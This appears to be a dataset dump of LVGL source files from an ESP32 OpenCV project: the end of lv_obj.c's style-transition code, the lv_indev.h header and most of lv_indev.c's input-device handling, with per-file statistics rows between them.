lv_style_int_t int1 = _lv_obj_get_style_int(obj, part, prop);
obj->state = new_state;
lv_style_int_t int2 = _lv_obj_get_style_int(obj, part, prop);
style_list->skip_trans = 0;
if(int1 == int2) return NULL;
obj->state = prev_state;
int1 = _lv_obj_get_style_int(obj, part, prop);
obj->state = new_state;
_lv_style_set_int(style_trans, prop, int1); /*Be sure `trans_style` has a valid value */
if(prop == LV_STYLE_RADIUS) {
if(int1 == LV_RADIUS_CIRCLE || int2 == LV_RADIUS_CIRCLE) {
lv_coord_t whalf = lv_obj_get_width(obj) / 2;
lv_coord_t hhalf = lv_obj_get_width(obj) / 2;
if(int1 == LV_RADIUS_CIRCLE) int1 = LV_MATH_MIN(whalf + 1, hhalf + 1);
if(int2 == LV_RADIUS_CIRCLE) int2 = LV_MATH_MIN(whalf + 1, hhalf + 1);
}
}
tr = _lv_ll_ins_head(&LV_GC_ROOT(_lv_obj_style_trans_ll));
LV_ASSERT_MEM(tr);
if(tr == NULL) return NULL;
tr->start_value._int = int1;
tr->end_value._int = int2;
}
else if((prop & 0xF) < LV_STYLE_ID_OPA) { /*Color*/
style_list->skip_trans = 1;
obj->state = prev_state;
lv_color_t c1 = _lv_obj_get_style_color(obj, part, prop);
obj->state = new_state;
lv_color_t c2 = _lv_obj_get_style_color(obj, part, prop);
style_list->skip_trans = 0;
if(c1.full == c2.full) return NULL;
obj->state = prev_state;
c1 = _lv_obj_get_style_color(obj, part, prop);
obj->state = new_state;
_lv_style_set_color(style_trans, prop, c1); /*Be sure `trans_style` has a valid value */
tr = _lv_ll_ins_head(&LV_GC_ROOT(_lv_obj_style_trans_ll));
LV_ASSERT_MEM(tr);
if(tr == NULL) return NULL;
tr->start_value._color = c1;
tr->end_value._color = c2;
}
else if((prop & 0xF) < LV_STYLE_ID_PTR) { /*Opa*/
style_list->skip_trans = 1;
obj->state = prev_state;
lv_opa_t o1 = _lv_obj_get_style_opa(obj, part, prop);
obj->state = new_state;
lv_opa_t o2 = _lv_obj_get_style_opa(obj, part, prop);
style_list->skip_trans = 0;
if(o1 == o2) return NULL;
obj->state = prev_state;
o1 = _lv_obj_get_style_opa(obj, part, prop);
obj->state = new_state;
_lv_style_set_opa(style_trans, prop, o1); /*Be sure `trans_style` has a valid value */
tr = _lv_ll_ins_head(&LV_GC_ROOT(_lv_obj_style_trans_ll));
LV_ASSERT_MEM(tr);
if(tr == NULL) return NULL;
tr->start_value._opa = o1;
tr->end_value._opa = o2;
}
else { /*Ptr*/
obj->state = prev_state;
style_list->skip_trans = 1;
const void * p1 = _lv_obj_get_style_ptr(obj, part, prop);
obj->state = new_state;
const void * p2 = _lv_obj_get_style_ptr(obj, part, prop);
style_list->skip_trans = 0;
if(memcmp(&p1, &p2, sizeof(const void *)) == 0) return NULL;
obj->state = prev_state;
p1 = _lv_obj_get_style_ptr(obj, part, prop);
obj->state = new_state;
_lv_style_set_ptr(style_trans, prop, p1); /*Be sure `trans_style` has a valid value */
tr = _lv_ll_ins_head(&LV_GC_ROOT(_lv_obj_style_trans_ll));
LV_ASSERT_MEM(tr);
if(tr == NULL) return NULL;
tr->start_value._ptr = p1;
tr->end_value._ptr = p2;
}
return tr;
}
/**
* Remove the transition from object's part's property.
* - Remove the transition from `_lv_obj_style_trans_ll` and free it
* - Delete pending transitions
* @param obj pointer to an object which transition(s) should be removed
* @param part a part of object or 0xFF to remove from all parts
* @param prop a property or 0xFF to remove all properties
* @param tr_limit delete transitions only "older" then this. `NULL` is not used
*/
static void trans_del(lv_obj_t * obj, uint8_t part, lv_style_property_t prop, lv_style_trans_t * tr_limit)
{
lv_style_trans_t * tr;
lv_style_trans_t * tr_prev;
tr = _lv_ll_get_tail(&LV_GC_ROOT(_lv_obj_style_trans_ll));
while(tr != NULL) {
if(tr == tr_limit) break;
/*'tr' might be deleted, so get the next object while 'tr' is valid*/
tr_prev = _lv_ll_get_prev(&LV_GC_ROOT(_lv_obj_style_trans_ll), tr);
if(tr->obj == obj && (part == tr->part || part == 0xFF) && (prop == tr->prop || prop == 0xFF)) {
/* Remove the transitioned property from trans. style
* to allow changing it by normal styles*/
lv_style_list_t * list = lv_obj_get_style_list(tr->obj, tr->part);
lv_style_t * style_trans = _lv_style_list_get_transition_style(list);
lv_style_remove_prop(style_trans, tr->prop);
lv_anim_del(tr, NULL);
_lv_ll_remove(&LV_GC_ROOT(_lv_obj_style_trans_ll), tr);
lv_mem_free(tr);
}
tr = tr_prev;
}
}
static void trans_anim_cb(lv_style_trans_t * tr, lv_anim_value_t v)
{
lv_style_list_t * list = lv_obj_get_style_list(tr->obj, tr->part);
lv_style_t * style = _lv_style_list_get_transition_style(list);
if((tr->prop & 0xF) < LV_STYLE_ID_COLOR) { /*Value*/
lv_style_int_t x;
if(v == 0) x = tr->start_value._int;
else if(v == 255) x = tr->end_value._int;
else x = tr->start_value._int + ((int32_t)((int32_t)(tr->end_value._int - tr->start_value._int) * v) >> 8);
_lv_style_set_int(style, tr->prop, x);
}
else if((tr->prop & 0xF) < LV_STYLE_ID_OPA) { /*Color*/
lv_color_t x;
if(v <= 0) x = tr->start_value._color;
else if(v >= 255) x = tr->end_value._color;
else x = lv_color_mix(tr->end_value._color, tr->start_value._color, v);
_lv_style_set_color(style, tr->prop, x);
}
else if((tr->prop & 0xF) < LV_STYLE_ID_PTR) { /*Opa*/
lv_opa_t x;
if(v <= 0) x = tr->start_value._opa;
else if(v >= 255) x = tr->end_value._opa;
else x = tr->start_value._opa + (((tr->end_value._opa - tr->start_value._opa) * v) >> 8);
_lv_style_set_opa(style, tr->prop, x);
}
else {
const void * x;
if(v < 128) x = tr->start_value._ptr;
else x = tr->end_value._ptr;
_lv_style_set_ptr(style, tr->prop, x);
}
lv_obj_refresh_style(tr->obj, tr->prop);
}
static void trans_anim_start_cb(lv_anim_t * a)
{
lv_style_trans_t * tr = a->var;
lv_style_property_t prop_tmp = tr->prop;
/*Start the animation from the current value*/
if((prop_tmp & 0xF) < LV_STYLE_ID_COLOR) { /*Int*/
tr->start_value._int = _lv_obj_get_style_int(tr->obj, tr->part, prop_tmp);
}
else if((prop_tmp & 0xF) < LV_STYLE_ID_OPA) { /*Color*/
tr->start_value._color = _lv_obj_get_style_color(tr->obj, tr->part, prop_tmp);
}
else if((prop_tmp & 0xF) < LV_STYLE_ID_PTR) { /*Opa*/
tr->start_value._opa = _lv_obj_get_style_opa(tr->obj, tr->part, prop_tmp);
}
else { /*Ptr*/
tr->start_value._ptr = _lv_obj_get_style_ptr(tr->obj, tr->part, prop_tmp);
}
/*Init prop to an invalid values to be sure `trans_del` won't delete this added `tr`*/
tr->prop = 0;
/*Delete the relate transition if any*/
trans_del(tr->obj, tr->part, prop_tmp, tr);
tr->prop = prop_tmp;
}
static void trans_anim_ready_cb(lv_anim_t * a)
{
lv_style_trans_t * tr = a->var;
/* Remove the transitioned property from trans. style
* if there no more transitions for this property
* It allows changing it by normal styles*/
bool running = false;
lv_style_trans_t * tr_i;
_LV_LL_READ(LV_GC_ROOT(_lv_obj_style_trans_ll), tr_i) {
if(tr_i != tr && tr_i->obj == tr->obj && tr_i->part == tr->part && tr_i->prop == tr->prop) {
running = true;
}
}
if(!running) {
lv_style_list_t * list = lv_obj_get_style_list(tr->obj, tr->part);
lv_style_t * style_trans = _lv_style_list_get_transition_style(list);
lv_style_remove_prop(style_trans, tr->prop);
}
_lv_ll_remove(&LV_GC_ROOT(_lv_obj_style_trans_ll), tr);
lv_mem_free(tr);
}
static void opa_scale_anim(lv_obj_t * obj, lv_anim_value_t v)
{
lv_obj_set_style_local_opa_scale(obj, LV_OBJ_PART_MAIN, LV_STATE_DEFAULT, v);
}
static void fade_in_anim_ready(lv_anim_t * a)
{
lv_style_remove_prop(lv_obj_get_local_style(a->var, LV_OBJ_PART_MAIN), LV_STYLE_OPA_SCALE);
}
#endif
static void lv_event_mark_deleted(lv_obj_t * obj)
{
lv_event_temp_data_t * t = event_temp_data_head;
while(t) {
if(t->obj == obj) t->deleted = true;
t = t->prev;
}
}
static bool obj_valid_child(const lv_obj_t * parent, const lv_obj_t * obj_to_find)
{
/*Check all children of `parent`*/
lv_obj_t * child;
_LV_LL_READ(parent->child_ll, child) {
if(child == obj_to_find) return true;
/*Check the children*/
bool found = obj_valid_child(child, obj_to_find);
if(found) return true;
}
return false;
}
| 133,650 | lv_obj | c | en | c | code | {"qsc_code_num_words": 21957, "qsc_code_num_chars": 133650.0, "qsc_code_mean_word_length": 3.69057704, "qsc_code_frac_words_unique": 0.03730018, "qsc_code_frac_chars_top_2grams": 0.05386628, "qsc_code_frac_chars_top_3grams": 0.03297381, "qsc_code_frac_chars_top_4grams": 0.01910309, "qsc_code_frac_chars_dupe_5grams": 0.71921663, "qsc_code_frac_chars_dupe_6grams": 0.64809833, "qsc_code_frac_chars_dupe_7grams": 0.58971543, "qsc_code_frac_chars_dupe_8grams": 0.55375521, "qsc_code_frac_chars_dupe_9grams": 0.5193499, "qsc_code_frac_chars_dupe_10grams": 0.48844929, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00535458, "qsc_code_frac_chars_whitespace": 0.22726525, "qsc_code_size_file_byte": 133650.0, "qsc_code_num_lines": 4304.0, "qsc_code_num_chars_line_max": 165.0, "qsc_code_num_chars_line_mean": 31.05250929, "qsc_code_frac_chars_alphabet": 0.77928076, "qsc_code_frac_chars_comments": 0.30739993, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.34350548, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01068427, "qsc_code_frac_chars_long_word_length": 0.00154484, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00089666, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.04147105, "qsc_codec_frac_lines_func_ratio": 0.10211268, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.13380282, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": 0.08098592} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/components/lvgl_gui/lvgl/src/lv_core/lv_indev.h | /**
* @file lv_indev.h
*
*/
#ifndef LV_INDEV_H
#define LV_INDEV_H
#ifdef __cplusplus
extern "C" {
#endif
/*********************
* INCLUDES
*********************/
#include "lv_obj.h"
#include "../lv_hal/lv_hal_indev.h"
#include "../lv_core/lv_group.h"
/*********************
* DEFINES
*********************/
/**********************
* TYPEDEFS
**********************/
/**********************
* GLOBAL PROTOTYPES
**********************/
/**
* Initialize the display input device subsystem
*/
void _lv_indev_init(void);
/**
* Called periodically to read the input devices
* @param task pointer to the task itself
*/
void _lv_indev_read_task(lv_task_t * task);
/**
* Get the currently processed input device. Can be used in action functions too.
* @return pointer to the currently processed input device or NULL if no input device processing
* right now
*/
lv_indev_t * lv_indev_get_act(void);
/**
* Get the type of an input device
* @param indev pointer to an input device
* @return the type of the input device from `lv_hal_indev_type_t` (`LV_INDEV_TYPE_...`)
*/
lv_indev_type_t lv_indev_get_type(const lv_indev_t * indev);
/**
* Reset one or all input devices
* @param indev pointer to an input device to reset or NULL to reset all of them
* @param obj pointer to an object which triggers the reset.
*/
void lv_indev_reset(lv_indev_t * indev, lv_obj_t * obj);
/**
* Reset the long press state of an input device
* @param indev_proc pointer to an input device
*/
void lv_indev_reset_long_press(lv_indev_t * indev);
/**
* Enable or disable an input devices
* @param indev pointer to an input device
* @param en true: enable; false: disable
*/
void lv_indev_enable(lv_indev_t * indev, bool en);
/**
* Set a cursor for a pointer input device (for LV_INPUT_TYPE_POINTER and LV_INPUT_TYPE_BUTTON)
* @param indev pointer to an input device
* @param cur_obj pointer to an object to be used as cursor
*/
void lv_indev_set_cursor(lv_indev_t * indev, lv_obj_t * cur_obj);
#if LV_USE_GROUP
/**
* Set a destination group for a keypad input device (for LV_INDEV_TYPE_KEYPAD)
* @param indev pointer to an input device
* @param group point to a group
*/
void lv_indev_set_group(lv_indev_t * indev, lv_group_t * group);
#endif
/**
* Set the an array of points for LV_INDEV_TYPE_BUTTON.
* These points will be assigned to the buttons to press a specific point on the screen
* @param indev pointer to an input device
* @param group point to a group
*/
void lv_indev_set_button_points(lv_indev_t * indev, const lv_point_t points[]);
/**
* Get the last point of an input device (for LV_INDEV_TYPE_POINTER and LV_INDEV_TYPE_BUTTON)
* @param indev pointer to an input device
* @param point pointer to a point to store the result
*/
void lv_indev_get_point(const lv_indev_t * indev, lv_point_t * point);
/**
* Get the current gesture direct
* @param indev pointer to an input device
* @return current gesture direct
*/
lv_gesture_dir_t lv_indev_get_gesture_dir(const lv_indev_t * indev);
/**
* Get the last pressed key of an input device (for LV_INDEV_TYPE_KEYPAD)
* @param indev pointer to an input device
* @return the last pressed key (0 on error)
*/
uint32_t lv_indev_get_key(const lv_indev_t * indev);
/**
* Check if there is dragging with an input device or not (for LV_INDEV_TYPE_POINTER and
* LV_INDEV_TYPE_BUTTON)
* @param indev pointer to an input device
* @return true: drag is in progress
*/
bool lv_indev_is_dragging(const lv_indev_t * indev);
/**
* Get the vector of dragging of an input device (for LV_INDEV_TYPE_POINTER and
* LV_INDEV_TYPE_BUTTON)
* @param indev pointer to an input device
* @param point pointer to a point to store the vector
*/
void lv_indev_get_vect(const lv_indev_t * indev, lv_point_t * point);
/**
* Manually finish dragging.
* `LV_SIGNAL_DRAG_END` and `LV_EVENT_DRAG_END` will be sent.
* @param indev pointer to an input device
* @return `LV_RES_INV` if the object being dragged was deleted. Else `LV_RES_OK`.
*/
lv_res_t lv_indev_finish_drag(lv_indev_t * indev);
/**
* Do nothing until the next release
* @param indev pointer to an input device
*/
void lv_indev_wait_release(lv_indev_t * indev);
/**
* Gets a pointer to the currently active object in indev proc functions.
* NULL if no object is currently being handled or if groups aren't used.
* @return pointer to currently active object
*/
lv_obj_t * lv_indev_get_obj_act(void);
/**
* Search the most top, clickable object by a point
* @param obj pointer to a start object, typically the screen
* @param point pointer to a point for searching the most top child
* @return pointer to the found object or NULL if there was no suitable object
*/
lv_obj_t * lv_indev_search_obj(lv_obj_t * obj, lv_point_t * point);
/**
* Get a pointer to the indev read task to
* modify its parameters with `lv_task_...` functions.
* @param indev pointer to an inout device
* @return pointer to the indev read refresher task. (NULL on error)
*/
lv_task_t * lv_indev_get_read_task(lv_disp_t * indev);
/**********************
* MACROS
**********************/
#ifdef __cplusplus
} /* extern "C" */
#endif
#endif /*LV_INDEV_H*/
| 5,212 | lv_indev | h | en | c | code | {"qsc_code_num_words": 845, "qsc_code_num_chars": 5212.0, "qsc_code_mean_word_length": 4.09822485, "qsc_code_frac_words_unique": 0.1964497, "qsc_code_frac_chars_top_2grams": 0.10106844, "qsc_code_frac_chars_top_3grams": 0.07507941, "qsc_code_frac_chars_top_4grams": 0.07681201, "qsc_code_frac_chars_dupe_5grams": 0.42650881, "qsc_code_frac_chars_dupe_6grams": 0.33323708, "qsc_code_frac_chars_dupe_7grams": 0.30349408, "qsc_code_frac_chars_dupe_8grams": 0.27577245, "qsc_code_frac_chars_dupe_9grams": 0.23043604, "qsc_code_frac_chars_dupe_10grams": 0.17268265, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.000698, "qsc_code_frac_chars_whitespace": 0.17536454, "qsc_code_size_file_byte": 5212.0, "qsc_code_num_lines": 184.0, "qsc_code_num_chars_line_max": 97.0, "qsc_code_num_chars_line_mean": 28.32608696, "qsc_code_frac_chars_alphabet": 0.80502559, "qsc_code_frac_chars_comments": 0.7313891, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.17647059, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.03857143, "qsc_code_frac_chars_long_word_length": 0.03214286, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.58823529, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.67647059, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 1, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/components/lvgl_gui/lvgl/src/lv_core/lv_indev.c | /**
* @file lv_indev.c
*
*/
/*********************
* INCLUDES
********************/
#include "lv_indev.h"
#include "lv_disp.h"
#include "lv_obj.h"
#include "../lv_hal/lv_hal_tick.h"
#include "../lv_core/lv_group.h"
#include "../lv_core/lv_refr.h"
#include "../lv_misc/lv_task.h"
#include "../lv_misc/lv_math.h"
/*********************
* DEFINES
*********************/
#if LV_INDEV_DEF_DRAG_THROW <= 0
#warning "LV_INDEV_DRAG_THROW must be greater than 0"
#endif
/**********************
* TYPEDEFS
**********************/
/**********************
* STATIC PROTOTYPES
**********************/
static void indev_pointer_proc(lv_indev_t * i, lv_indev_data_t * data);
static void indev_keypad_proc(lv_indev_t * i, lv_indev_data_t * data);
static void indev_encoder_proc(lv_indev_t * i, lv_indev_data_t * data);
static void indev_button_proc(lv_indev_t * i, lv_indev_data_t * data);
static void indev_proc_press(lv_indev_proc_t * proc);
static void indev_proc_release(lv_indev_proc_t * proc);
static void indev_proc_reset_query_handler(lv_indev_t * indev);
static void indev_click_focus(lv_indev_proc_t * proc);
static void indev_drag(lv_indev_proc_t * proc);
static void indev_drag_throw(lv_indev_proc_t * proc);
static lv_obj_t * get_dragged_obj(lv_obj_t * obj);
static void indev_gesture(lv_indev_proc_t * proc);
static bool indev_reset_check(lv_indev_proc_t * proc);
/**********************
* STATIC VARIABLES
**********************/
static lv_indev_t * indev_act;
static lv_obj_t * indev_obj_act = NULL;
/**********************
* MACROS
**********************/
/**********************
* GLOBAL FUNCTIONS
**********************/
/**
* Initialize the display input device subsystem
*/
void _lv_indev_init(void)
{
lv_indev_reset(NULL, NULL); /*Reset all input devices*/
}
/**
* Called periodically to read the input devices
* @param param pointer to and input device to read
*/
void _lv_indev_read_task(lv_task_t * task)
{
LV_LOG_TRACE("indev read task started");
lv_indev_data_t data;
indev_act = task->user_data;
/*Read and process all indevs*/
if(indev_act->driver.disp == NULL) return; /*Not assigned to any displays*/
/*Handle reset query before processing the point*/
indev_proc_reset_query_handler(indev_act);
if(indev_act->proc.disabled) return;
bool more_to_read;
do {
/*Read the data*/
more_to_read = _lv_indev_read(indev_act, &data);
/*The active object might deleted even in the read function*/
indev_proc_reset_query_handler(indev_act);
indev_obj_act = NULL;
indev_act->proc.state = data.state;
/*Save the last activity time*/
if(indev_act->proc.state == LV_INDEV_STATE_PR) {
indev_act->driver.disp->last_activity_time = lv_tick_get();
}
else if(indev_act->driver.type == LV_INDEV_TYPE_ENCODER && data.enc_diff) {
indev_act->driver.disp->last_activity_time = lv_tick_get();
}
if(indev_act->driver.type == LV_INDEV_TYPE_POINTER) {
indev_pointer_proc(indev_act, &data);
}
else if(indev_act->driver.type == LV_INDEV_TYPE_KEYPAD) {
indev_keypad_proc(indev_act, &data);
}
else if(indev_act->driver.type == LV_INDEV_TYPE_ENCODER) {
indev_encoder_proc(indev_act, &data);
}
else if(indev_act->driver.type == LV_INDEV_TYPE_BUTTON) {
indev_button_proc(indev_act, &data);
}
/*Handle reset query if it happened in during processing*/
indev_proc_reset_query_handler(indev_act);
} while(more_to_read);
/*End of indev processing, so no act indev*/
indev_act = NULL;
indev_obj_act = NULL;
LV_LOG_TRACE("indev read task finished");
}
/**
* Get the currently processed input device. Can be used in action functions too.
* @return pointer to the currently processed input device or NULL if no input device processing
* right now
*/
lv_indev_t * lv_indev_get_act(void)
{
return indev_act;
}
/**
* Get the type of an input device
* @param indev pointer to an input device
* @return the type of the input device from `lv_hal_indev_type_t` (`LV_INDEV_TYPE_...`)
*/
lv_indev_type_t lv_indev_get_type(const lv_indev_t * indev)
{
if(indev == NULL) return LV_INDEV_TYPE_NONE;
return indev->driver.type;
}
/**
* Reset one or all input devices
* @param indev pointer to an input device to reset or NULL to reset all of them
* @param obj pointer to an object which triggers the reset.
*/
void lv_indev_reset(lv_indev_t * indev, lv_obj_t * obj)
{
if(indev) {
indev->proc.reset_query = 1;
if(indev_act == indev) indev_obj_act = NULL;
if(obj == NULL || indev->proc.types.pointer.last_pressed == obj) {
indev->proc.types.pointer.last_pressed = NULL;
}
}
else {
lv_indev_t * i = lv_indev_get_next(NULL);
while(i) {
i->proc.reset_query = 1;
if(indev_act == i) indev_obj_act = NULL;
if(obj == NULL || i->proc.types.pointer.last_pressed == obj) {
i->proc.types.pointer.last_pressed = NULL;
}
i = lv_indev_get_next(i);
}
}
}
/**
* Reset the long press state of an input device
* @param indev pointer to an input device
*/
void lv_indev_reset_long_press(lv_indev_t * indev)
{
indev->proc.long_pr_sent = 0;
indev->proc.longpr_rep_timestamp = lv_tick_get();
indev->proc.pr_timestamp = lv_tick_get();
}
/**
* Enable or disable an input devices
* @param indev pointer to an input device
* @param en true: enable; false: disable
*/
void lv_indev_enable(lv_indev_t * indev, bool en)
{
if(!indev) return;
indev->proc.disabled = en ? 0 : 1;
}
/**
* Set a cursor for a pointer input device (for LV_INPUT_TYPE_POINTER and LV_INPUT_TYPE_BUTTON)
* @param indev pointer to an input device
* @param cur_obj pointer to an object to be used as cursor
*/
void lv_indev_set_cursor(lv_indev_t * indev, lv_obj_t * cur_obj)
{
if(indev->driver.type != LV_INDEV_TYPE_POINTER) return;
indev->cursor = cur_obj;
lv_obj_set_parent(indev->cursor, lv_disp_get_layer_sys(indev->driver.disp));
lv_obj_set_pos(indev->cursor, indev->proc.types.pointer.act_point.x, indev->proc.types.pointer.act_point.y);
lv_obj_set_click(indev->cursor, false);
}
#if LV_USE_GROUP
/**
* Set a destination group for a keypad input device (for LV_INDEV_TYPE_KEYPAD)
* @param indev pointer to an input device
* @param group point to a group
*/
void lv_indev_set_group(lv_indev_t * indev, lv_group_t * group)
{
if(indev->driver.type == LV_INDEV_TYPE_KEYPAD || indev->driver.type == LV_INDEV_TYPE_ENCODER) {
indev->group = group;
}
}
#endif
/**
* Set the an array of points for LV_INDEV_TYPE_BUTTON.
* These points will be assigned to the buttons to press a specific point on the screen
* @param indev pointer to an input device
* @param group point to a group
*/
void lv_indev_set_button_points(lv_indev_t * indev, const lv_point_t points[])
{
if(indev->driver.type == LV_INDEV_TYPE_BUTTON) {
indev->btn_points = points;
}
}
/**
* Get the last point of an input device (for LV_INDEV_TYPE_POINTER and LV_INDEV_TYPE_BUTTON)
* @param indev pointer to an input device
* @param point pointer to a point to store the result
*/
void lv_indev_get_point(const lv_indev_t * indev, lv_point_t * point)
{
if(indev == NULL) {
point->x = 0;
point->y = 0;
return;
}
if(indev->driver.type != LV_INDEV_TYPE_POINTER && indev->driver.type != LV_INDEV_TYPE_BUTTON) {
point->x = -1;
point->y = -1;
}
else {
point->x = indev->proc.types.pointer.act_point.x;
point->y = indev->proc.types.pointer.act_point.y;
}
}
/**
* Get the current gesture direct
* @param indev pointer to an input device
* @return current gesture direct
*/
lv_gesture_dir_t lv_indev_get_gesture_dir(const lv_indev_t * indev)
{
return indev->proc.types.pointer.gesture_dir;
}
/**
* Get the last pressed key of an input device (for LV_INDEV_TYPE_KEYPAD)
* @param indev pointer to an input device
* @return the last pressed key (0 on error)
*/
uint32_t lv_indev_get_key(const lv_indev_t * indev)
{
if(indev->driver.type != LV_INDEV_TYPE_KEYPAD)
return 0;
else
return indev->proc.types.keypad.last_key;
}
/**
* Check if there is dragging with an input device or not (for LV_INDEV_TYPE_POINTER and
* LV_INDEV_TYPE_BUTTON)
* @param indev pointer to an input device
* @return true: drag is in progress
*/
bool lv_indev_is_dragging(const lv_indev_t * indev)
{
if(indev == NULL) return false;
if(indev->driver.type != LV_INDEV_TYPE_POINTER && indev->driver.type != LV_INDEV_TYPE_BUTTON) return false;
return indev->proc.types.pointer.drag_in_prog == 0 ? false : true;
}
/**
* Get the types.pointer.vector of dragging of an input device (for LV_INDEV_TYPE_POINTER and
* LV_INDEV_TYPE_BUTTON)
* @param indev pointer to an input device
* @param point pointer to a point to store the types.pointer.vector
*/
void lv_indev_get_vect(const lv_indev_t * indev, lv_point_t * point)
{
if(indev == NULL) {
point->x = 0;
point->y = 0;
return;
}
if(indev->driver.type != LV_INDEV_TYPE_POINTER && indev->driver.type != LV_INDEV_TYPE_BUTTON) {
point->x = 0;
point->y = 0;
}
else {
point->x = indev->proc.types.pointer.vect.x;
point->y = indev->proc.types.pointer.vect.y;
}
}
/**
* Manually finish dragging.
* `LV_SIGNAL_DRAG_END` and `LV_EVENT_DRAG_END` will be sent.
* @param indev pointer to an input device
* @return `LV_RES_INV` if the object being dragged was deleted. Else `LV_RES_OK`.
*/
lv_res_t lv_indev_finish_drag(lv_indev_t * indev)
{
if(indev == NULL) return LV_RES_OK;
if(indev->driver.type != LV_INDEV_TYPE_POINTER) return LV_RES_OK;
if(indev->proc.types.pointer.drag_in_prog == 0) return LV_RES_OK;
indev->proc.types.pointer.drag_in_prog = 0;
indev->proc.types.pointer.drag_throw_vect.x = 0;
indev->proc.types.pointer.drag_throw_vect.y = 0;
lv_obj_t * drag_obj;
drag_obj = get_dragged_obj(indev->proc.types.pointer.act_obj);
if(drag_obj == NULL) return LV_RES_OK;
lv_res_t res;
res = drag_obj->signal_cb(drag_obj, LV_SIGNAL_DRAG_END, NULL);
if(res != LV_RES_OK) return res;
res = lv_event_send(drag_obj, LV_EVENT_DRAG_END, NULL);
if(res != LV_RES_OK) return res;
return res;
}
/**
* Do nothing until the next release
* @param indev pointer to an input device
*/
void lv_indev_wait_release(lv_indev_t * indev)
{
if(indev == NULL)return;
indev->proc.wait_until_release = 1;
}
/**
* Gets a pointer to the currently active object in the currently processed input device.
* @return pointer to currently active object or NULL if no active object
*/
lv_obj_t * lv_indev_get_obj_act(void)
{
return indev_obj_act;
}
/**
* Get a pointer to the indev read task to
* modify its parameters with `lv_task_...` functions.
* @param indev pointer to an input device
* @return pointer to the indev read refresher task. (NULL on error)
*/
lv_task_t * lv_indev_get_read_task(lv_disp_t * indev)
{
if(!indev) {
LV_LOG_WARN("lv_indev_get_read_task: indev was NULL");
return NULL;
}
return indev->refr_task;
}
/**********************
* STATIC FUNCTIONS
**********************/
/**
